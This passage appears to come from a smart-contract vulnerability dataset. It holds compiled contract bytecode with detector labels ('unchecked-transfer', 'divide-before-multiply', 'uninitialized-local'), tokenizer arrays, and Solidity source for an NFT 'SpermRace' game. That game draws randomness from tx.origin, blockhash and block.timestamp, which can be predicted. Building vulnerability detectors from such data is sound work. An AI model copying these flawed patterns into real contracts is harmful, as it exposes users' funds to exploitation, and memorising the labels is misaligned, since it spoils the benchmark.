820116820180604052508101906114bc9190612d55565b8b610943565b91509150818a101580156114d65750808a11155b6114f25760405162461bcd60e51b81526004016103e89061302e565b50505b600254600160a81b900460ff16806115115750600281015460ff165b1561156e57600281015461156c90869060ff1661153d57600254600160b01b900463ffffffff1661154e565b6002830154610100900463ffffffff165b600284015460ff1661156257600554610309565b83600301546118d5565b505b600481015460ff16156115d7576005810154156115a95780600501548811156115a95760405162461bcd60e51b81526004016103e8906131af565b6006810154156115d75780600601548711156115d75760405162461bcd60e51b81526004016103e890613178565b8054600360ff909116101561178e578054600260ff9091161015611702576040516384715b1160e01b81526001600160a01b038616906384715b1190611627908b908b9030908190600401613310565b602060405180830381600087803b15801561164157600080fd5b505af1158015611655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116799190612e31565b60405163a9059cbb60e01b81529094506001600160a01b0386169063a9059cbb906116aa9089908890600401612f7e565b602060405180830381600087803b1580156116c457600080fd5b505af11580156116d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fc9190612d39565b50611789565b6040516384715b1160e01b81526001600160a01b038616906384715b1190611734908b908b9033903090600401613310565b602060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117869190612e31565b93505b611815565b6040516384715b1160e01b81526001600160a01b038616906384715b11906117c0908b908b9033908190600401613310565b602060405180830381600087803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118129190612e31565b93505b600481015460ff16156118b6578060070154856001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561186057600080fd5b505afa158015611874573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118989190612e31565b11156118b65760405162461bcd60e51b81526004016103e89061321d565b5050600160005550949350505050565b6002546001600160a01b031681565b600080611951856001600160a01b031663065e53606040518163ffffffff1660e01b815260040160206040518083038186803b15801561191457600080fd5b505afa158015611928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194c9190612d71565b612011565b90506119916119696001600160a01b03831680612350565b670de0b6b3a764000078010000000000000000000000000000000000000000000000006123b0565b9150600061199f86866105db565b905060006119b96119696001600160a01b03841680612350565b9050846119d1826119cb876064612350565b90612601565b11806119ea5750846119e8856119cb846064612350565b115b15611a075760405162461bcd60e51b81526004016103e8906132c2565b5050509392505050565b6002546001600160a01b03163314611a3b5760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0383166000908152600160205260409020805484919060ff16611a775760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0385166000908152600160205260409081902060028101805460ff19168715151764ffffffff00191661010063ffffffff88160217905590517f2bafd4b6a5765e1fd816ea628ff4649ed6c449f1c56fd8332d1f8e082931f20690611ae890889088908890612f57565b60405180910390a1505050505050565b6002546001600160a01b03163314611b225760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0381166000908152600160205260409020805482919060ff16611b5e5760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0383166000908152600160205260409081902060088101805460ff19811660ff9091161517905590517fd03f1a8a1aee11f8c4b906809e9e8317ed6642696de112a8558eac2be64cf44790611bbb908690612ecf565b60405180910390a150505050565b6002546001600160a01b03163314611bf35760405162461bcd60e51b81526004016103e8906131e6565b600280547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff8116600160a81b9182900460ff16159091021790556040517f31d2b42be69698b73ed0afb43a71872d1c2fa75bf4910edc3d5cf929ce11fb2d90600090a1565b6002546001600160a01b03163314611c825760405162461bcd60e51b81526004016103e8906131e6565b60038190556040517f7173676a243594886893526e7121ae1217b9c8f1bf37d7182cf351c7243c3334906104e69083906132f9565b60055481565b6002546001600160a01b03163314611ce75760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0382166000908152600160205260409020805483919060ff16611d235760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0380851660009081526001602081815260408084209488168452918401905290819020805460ff19169055517f327ebead4bc995c77eca4e68adf4a8709ea36622e0732ecd0e23dee6bcfb8869906105b99087908790612ee3565b60045481565b6002546001600160a01b03163314611db55760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0384166000908152600160205260409020805485919060ff16611df15760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0386166000908152600160205260409081902060058101879055600681018690556007810185905590517e43da711fca65981e4da1c2b18c362abff88d1aea1f55992a7beeb5e1ae17bb90611e54908990899089908990612f97565b60405180910390a150505050505050565b6002546001600160a01b03163314611e8f5760405162461bcd60e51b81526004016103e8906131e6565b60048190556040517f8cf1b5e61ca322007d7f7f14643afd8df1240cc40ddcf5e1cdf544f2bb0acae4906104e69083906132f9565b6002546001600160a01b03163314611eee5760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b038116611f145760405162461bcd60e51b81526004016103e89061310a565b600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6002546001600160a01b03163314611f785760405162461bcd60e51b81526004016103e8906131e6565b6001600160a01b0381166000908152600160205260409020805482919060ff16611fb45760405162461bcd60e51b81526004016103e890613254565b6001600160a01b0383166000908152600160205260409081902060048101805460ff19811660ff9091161517905590517f4681eb28f57cf4cc50d03460a4926f257ddd329f9e73b134ea189b3d757dd21090611bbb908690612ecf565b60008060008360020b12612028578260020b612030565b8260020b6000035b9050620d89e881111561206e576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b60006001821661208f577001000000000000000000000000000000006120a1565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff16905060028216156120d5576ffff97272373d413259a46990580e213a0260801c5b60048216156120f4576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612113576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612132576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615612151576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615612170576fff2ea16466c96a3843ec78b326b528610260801c5b608082161561218f576ffe5dee046a99a2a811c461f1969c30530260801c5b6101008216156121af576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b6102008216156121cf576ff987a7253ac413176f2b074cf7815e540260801c5b6104008216156121ef576ff3392b0822b70005940c7a398e4b70f30260801c5b61080082161561220f576fe7159475a2c29b7443b29c7fa6e889d90260801c5b61100082161561222f576fd097f3bdfd2022b8845ad8f792aa58250260801c5b61200082161561224f576fa9f746462d870fdf8a65dc1f90e061e50260801c5b61400082161561226f576f70d869a156d2a1b890bb3df62baf32f70260801c5b61800082161561228f576f31be135f97d08fd981231505542fcfa60260801c5b620100008216156122b0576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b620200008216156122d0576e5d6af8dedb81196699c329225ee6040260801c5b620400008216156122ef576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561230c576b048a170391f7dc42444e8fa20260801c5b60008460020b131561232757806000198161232357fe5b0490505b64010000000081061561233b57600161233e565b60005b60ff16602082901c0192505050919050565b60008261235f57506000610889565b8282028284828161236c57fe5b04146123a95760405162461bcd60e51b81526004018080602001828103825260218152602001806134326021913960400191505060405180910390fd5b9392505050565b60008080600019858709868602925082811090839003039050806123e657600084116123db57600080fd5b5082900490506123a9565b8084116123f257600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b8015806124e5575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156124b757600080fd5b505afa1580156124cb573d6000803e3d6000fd5b505050506040513d60208110156124e157600080fd5b5051155b6125205760405162461bcd60e51b815260040180806020018281038252603681526020018061347d6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663095ea7b360e01b179052612587908490612668565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b1790526125fb908590612668565b50505050565b6000808211612657576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161266057fe5b049392505050565b60006126bd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166127199092919063ffffffff16565b805190915015612587578080602001905160208110156126dc57600080fd5b50516125875760405162461bcd60e51b815260040180806020018281038252602a815260200180613453602a913960400191505060405180910390fd5b60606127288484600085612730565b949350505050565b6060824710156127715760405162461bcd60e51b815260040180806020018281038252602681526020018061340c6026913960400191505060405180910390fd5b61277a8561288b565b6127cb576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106128095780518252601f1990920191602091820191016127ea565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461286b576040519150601f19603f3d011682016040523d82523d6000602084013e612870565b606091505b5091509150612880828286612895565b979650505050505050565b803b15155b919050565b606083156128a45750816123a9565b8251156128b45782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128fe5781810151838201526020016128e6565b50505050905090810190601f16801561292b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b600082601f830112612949578081fd5b8151602061295e612959836133b8565b613394565b828152818101908583018385028701840188101561297a578586fd5b855b858110156129a157815161298f816133d6565b8452928401929084019060010161297c565b5090979650505050505050565b8051600281900b811461289057600080fd5b805161ffff8116811461289057600080fd5b803563ffffffff8116811461289057600080fd5b6000602082840312156129f7578081fd5b81356123a9816133d6565b60008060408385031215612a14578081fd5b8235612a1f816133d6565b91506020830135612a2f816133d6565b809150509250929050565b600080600060608486031215612a4e578081fd5b8335612a59816133d6565b92506020840135612a69816133d6565b929592945050506040919091013590565b60008060408385031215612a8c578182fd5b8235612a97816133d6565b915060208381013567ffffffffffffffff811115612ab3578283fd5b8401601f81018613612ac3578283fd5b8035612ad1612959826133b8565b81815283810190838501858402850186018a1015612aed578687fd5b8694505b83851015612b18578035612b04816133d6565b835260019490940193918501918501612af1565b5080955050505050509250929050565b600080600060608486031215612b3c578283fd5b8335612b47816133d6565b92506020840135612b57816133ee565b9150612b65604085016129d2565b90509250925092565b60008060408385031215612b80578081fd5b8235612b8b816133d6565b946020939093013593505050565b60008060008060808587031215612bae578182fd5b8435612bb9816133d6565b966020860135965060408601359560600135945092505050565b60008060408385031215612be5578182fd5b8235612bf0816133d6565b9150612bfe602084016129d2565b90509250929050565b600080600060608486031215612c1b578081fd5b8335612c26816133d6565b9250612c34602085016129d2565b9150604084013590509250925092565b60008060408385031215612c56578182fd5b8235612c61816133d6565b91506020830135612a2f816133fc565b60008060408385031215612c83578182fd5b825167ffffffffffffffff80821115612c9a578384fd5b818501915085601f830112612cad578384fd5b81516020612cbd612959836133b8565b82815281810190858301838502870184018b1015612cd9578889fd5b8896505b84871015612d095780518060060b8114612cf557898afd5b835260019690960195918301918301612cdd565b5091880151919650909350505080821115612d22578283fd5b50612d2f85828601612939565b9150509250929050565b600060208284031215612d4a578081fd5b81516123a9816133ee565b600060208284031215612d66578081fd5b81516123a9816133d6565b600060208284031215612d82578081fd5b6123a9826129ae565b600080600080600080600060e0888a031215612da5578485fd5b8751612db0816133d6565b9650612dbe602089016129ae565b9550612dcc604089016129c0565b9450612dda606089016129c0565b9350612de8608089016129c0565b925060a0880151612df8816133fc565b60c0890151909250612e09816133ee565b8091505092959891949750929550565b600060208284031215612e2a578081fd5b5035919050565b600060208284031215612e42578081fd5b5051919050565b60008060408385031215612e5b578182fd5b505080516020909101519092909150565b60008060008060808587031215612e81578182fd5b84359350602085013592506040850135612e9a816133d6565b91506060850135612eaa816133d6565b939692955090935050565b600060208284031215612ec6578081fd5b6123a9826129d2565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6000604082016001600160a01b03808616845260206040818601528286518085526060870191508288019450855b81811015612f49578551851683529483019491830191600101612f2b565b509098975050505050505050565b6001600160a01b03939093168352901515602083015263ffffffff16604082015260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b6001600160a01b0392909216825260ff16602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561301757835163ffffffff1683529284019291840191600101612ff5565b50909695505050505050565b901515815260200190565b6020808252600e908201527f496d70726f70657220726174696f000000000000000000000000000000000000604082015260600190565b6020808252600f908201527f746f6b656e206d6973746d617463680000000000000000000000000000000000604082015260600190565b60208082526015908201527f746f2073686f756c64206265206e6f6e2d7a65726f0000000000000000000000604082015260600190565b60208082526016908201527f6465706f736974732063616e2774206265207a65726f00000000000000000000604082015260600190565b6020808252601b908201527f6e65774f776e65722073686f756c64206265206e6f6e2d7a65726f0000000000604082015260600190565b6020808252600d908201527f616c726561647920616464656400000000000000000000000000000000000000604082015260600190565b6020808252600e908201527f746f6b656e312065786365656473000000000000000000000000000000000000604082015260600190565b6020808252600e908201527f746f6b656e302065786365656473000000000000000000000000000000000000604082015260600190565b6020808252600a908201527f6f6e6c79206f776e657200000000000000000000000000000000000000000000604082015260600190565b6020808252600e908201527f737570706c792065786365656473000000000000000000000000000000000000604082015260600190565b60208082526009908201527f6e6f742061646465640000000000000000000000000000000000000000000000604082015260600190565b6020808252600b908201527f76657273696f6e203c2031000000000000000000000000000000000000000000604082015260600190565b60208082526015908201527f5072696365206368616e6765204f766572666c6f770000000000000000000000604082015260600190565b90815260200190565b918252602082015260400190565b93845260208401929092526001600160a01b03908116604084015216606082015260800190565b63ffffffff91909116815260200190565b60ff999099168952961515602089015263ffffffff9590951660408801526060870193909352901515608086015260a085015260c084015260e083015215156101008201526101200190565b60405181810167ffffffffffffffff811182821017156133b057fe5b604052919050565b600067ffffffffffffffff8211156133cc57fe5b5060209081020190565b6001600160a01b03811681146133eb57600080fd5b50565b80151581146133eb57600080fd5b60ff811681146133eb57600080fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a164736f6c6343000706000a
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2549, 2546, 18139, 26224, 16068, 25746, 19481, 22275, 22907, 2475, 2050, 2683, 2546, 21084, 2546, 2094, 2683, 2620, 18139, 27531, 2683, 2546, 2581, 2683, 2683, 7011, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 1045, 10536, 4842, 11365, 2953, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,363
0x96a57Ddddb01aAe688a7Ed3e4460559746aD810A
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract SpermRace is Ownable { using ECDSA for bytes32; uint internal immutable MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; IERC721 spermGameContract; mapping(uint => uint) public eggTokenIdToSpermTokenIdBet; mapping(uint => bool) public uniqueTokenIds; bool inProgress; bool enforceRaceEntrySignature; uint public constant TOTAL_EGGS = 1778; uint public constant TOTAL_SUPPLY = 8888; uint public maxParticipantsInRace = 4000; uint public numOfFertilizationSpermTokens = 2; uint public raceEntryFee = 0 ether; uint public bettingFee = 0 ether; uint[] public tokenIdParticipants; uint[] public raceRandomNumbers; uint[] public participantsInRound; uint[] public fertilizedTokenIds = new uint[]((TOTAL_EGGS / 256) + 1); address private operatorAddress; constructor(address _spermGameContractAddress) { spermGameContract = IERC721(_spermGameContractAddress); operatorAddress = msg.sender; inProgress = false; enforceRaceEntrySignature = false; } function enterRace(uint[] calldata tokenIds, bytes[] calldata signatures) external payable enforceMaxParticipantsInRace(tokenIds.length) enforceSignatureEntry(tokenIds, signatures) { require(inProgress, "Sperm race is not in progress"); require(msg.value >= raceEntryFee, "Insufficient fee supplied to enter race"); for (uint i = 0; i < tokenIds.length; i++) { require((tokenIds[i] % 5) != 0, "One of the supplied tokenIds is not a sperm"); require(spermGameContract.ownerOf(tokenIds[i]) == msg.sender, "Not the owner of one or more of the supplied tokenIds"); tokenIdParticipants.push(tokenIds[i]); } } function fertilize(uint eggTokenId, uint[] calldata spermTokenIds, bytes[] memory signatures) external { require(!inProgress, "Sperm race is ongoing"); require((eggTokenId % 5) == 0, "Supplied eggTokenId is not an egg"); require(spermGameContract.ownerOf(eggTokenId) == msg.sender, "Not the owner of the egg"); require(spermTokenIds.length == numOfFertilizationSpermTokens, "Must bring along the correct number of sperms"); require(spermTokenIds.length == signatures.length, "Each sperm requires a signatures"); require(!isFertilized(eggTokenId), "Egg tokenId is already fertilized"); setFertilized(eggTokenId); for (uint i = 0; i < spermTokenIds.length; i++) { require((spermTokenIds[i] % 5) != 0, "One or more of the supplied spermTokenIds is not a sperm"); isTokenInFallopianPool(spermTokenIds[i], signatures[i]); require(!isFertilized(spermTokenIds[i]), "One of the spermTokenIds has already fertilized an egg"); setFertilized(spermTokenIds[i]); } } function bet(uint eggTokenId, uint spermTokenId) external payable { require(!inProgress || (raceRandomNumbers.length == 0), "Race is already in progress"); require(msg.value >= bettingFee, "Insufficient fee to place bet"); require(spermGameContract.ownerOf(eggTokenId) == msg.sender, "Not the owner of the egg"); require((eggTokenId % 5) == 0, "Supplied eggTokenId is not an egg"); require((spermTokenId % 5) != 0, "Supplied spermTokenId is not a sperm"); eggTokenIdToSpermTokenIdBet[eggTokenId] = spermTokenId; } function calculateTraitsFromTokenId(uint tokenId) public pure returns (uint) { if ((tokenId == 409) || (tokenId == 1386) || (tokenId == 1499) || (tokenId == 1556) || (tokenId == 1971) || (tokenId == 2561) || (tokenId == 3896) || (tokenId == 4719) || (tokenId == 6044) || (tokenId == 6861) || (tokenId == 8348) || (tokenId == 8493)) { return 12; } uint magicNumber = 69420; uint iq = (uint(keccak256(abi.encodePacked(tokenId, magicNumber, "IQ"))) % 4) + 1; uint speed = (uint(keccak256(abi.encodePacked(tokenId, magicNumber, "Speed"))) % 4) + 1; uint strength = (uint(keccak256(abi.encodePacked(tokenId, magicNumber, "Strength"))) % 4) + 1; return iq + speed + strength; } function progressRace(uint num) external onlyOwner { require(inProgress, "Races must be in progress to progress"); uint randomNumber = random(tokenIdParticipants.length); for (uint i = 0; i < num; i++) { randomNumber >>= 8; raceRandomNumbers.push(randomNumber); participantsInRound.push(tokenIdParticipants.length); } } function toggleRace() external onlyOwner { inProgress = !inProgress; } function setOperatorAddress(address _address) external onlyOwner { operatorAddress = _address; } function resetRace() external onlyOwner { require(!inProgress, "Sperm race is ongoing"); delete tokenIdParticipants; delete raceRandomNumbers; delete participantsInRound; fertilizedTokenIds = new uint[]((TOTAL_EGGS / 256) + 1); } function leaderboard(uint index) external view returns (uint[] memory, uint[] memory) { uint[] memory leaders = new uint[](participantsInRound[index]); uint[] memory progress = new uint[](participantsInRound[index]); uint[] memory tokenRaceTraits = new uint[](8888); // copy over all the tokenIdParticipants into the leader array // calculate all the battle traits one time for (uint i = 0; i < participantsInRound[index]; i++) { leaders[i] = tokenIdParticipants[i]; tokenRaceTraits[tokenIdParticipants[i]] = calculateTraitsFromTokenId(tokenIdParticipants[i]); } // Fisher-Yates shuffle for (uint k = 0; k < participantsInRound[index]; k++) { uint randomIndex = raceRandomNumbers[index] % (participantsInRound[index] - k); uint randomValA = leaders[randomIndex]; uint randomValB = progress[randomIndex]; leaders[randomIndex] = leaders[k]; leaders[k] = randomValA; progress[randomIndex] = progress[k]; progress[k] = randomValB; } for (uint j = 0; j < participantsInRound[index]; j = j + 2) { // You are a winner if you're the edge case in a odd number of tokenIdParticipants if (j == (participantsInRound[index] - 1)) { progress[j]++; } else { uint scoreA = tokenRaceTraits[leaders[j]]; uint scoreB = tokenRaceTraits[leaders[j+1]]; if ((raceRandomNumbers[index] % (scoreA + scoreB)) < scoreA) { progress[j]++; } else { progress[j+1]++; } } } return (leaders, progress); } function setMaxParticipantsInRace(uint _maxParticipants) external onlyOwner { maxParticipantsInRace = _maxParticipants; } function setNumOfFertilizationSpermTokens(uint _numOfTokens) external onlyOwner { numOfFertilizationSpermTokens = _numOfTokens; } function setRaceEntryFee(uint _entryFee) external onlyOwner { raceEntryFee = _entryFee; } function setBettingFee(uint _bettingFee) external onlyOwner { bettingFee = _bettingFee; } function setEnforceRaceEntrySignature (bool _enableSignature) external onlyOwner { enforceRaceEntrySignature = _enableSignature; } function getTokenIdParticipants() external view returns (uint[] memory) { return tokenIdParticipants; } function random(uint seed) internal view returns (uint) { return uint(keccak256(abi.encodePacked(tx.origin, blockhash(block.number - 1), block.timestamp, seed))); } function isValidSignature(bytes32 hash, bytes memory signature) internal view returns (bool isValid) { bytes32 signedHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); return signedHash.recover(signature) == operatorAddress; } function isTokenInFallopianPool(uint tokenId, bytes memory signature) internal view { bytes32 msgHash = keccak256(abi.encodePacked(tokenId)); require(isValidSignature(msgHash, signature), "Invalid signature"); } function isFertilized(uint tokenId) public view returns (bool) { uint[] memory bitMapList = fertilizedTokenIds; uint partitionIndex = tokenId / 256; uint partition = bitMapList[partitionIndex]; if (partition == MAX_INT) { return true; } uint bitIndex = tokenId % 256; uint bit = partition & (1 << bitIndex); return (bit != 0); } function setFertilized(uint tokenId) internal { uint[] storage bitMapList = fertilizedTokenIds; uint partitionIndex = tokenId / 256; uint partition = bitMapList[partitionIndex]; uint bitIndex = tokenId % 256; bitMapList[partitionIndex] = partition | (1 << bitIndex); } function numOfRounds() external view returns (uint) { return raceRandomNumbers.length; } function numOfParticipants() external view returns (uint) { return tokenIdParticipants.length; } modifier enforceMaxParticipantsInRace(uint num) { require((tokenIdParticipants.length + num) <= maxParticipantsInRace, "Race participants has reached the maximum allowed"); _; } modifier enforceSignatureEntry(uint[] calldata tokenIds, bytes[] calldata signatures) { if (enforceRaceEntrySignature) { require(tokenIds.length == signatures.length, "Number of signatures must match number of tokenIds"); for (uint i = 0; i < tokenIds.length; i++) { bytes32 msgHash = keccak256(abi.encodePacked(tokenIds[i])); require(isValidSignature(msgHash, signatures[i]), "Invalid signature"); } } _; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 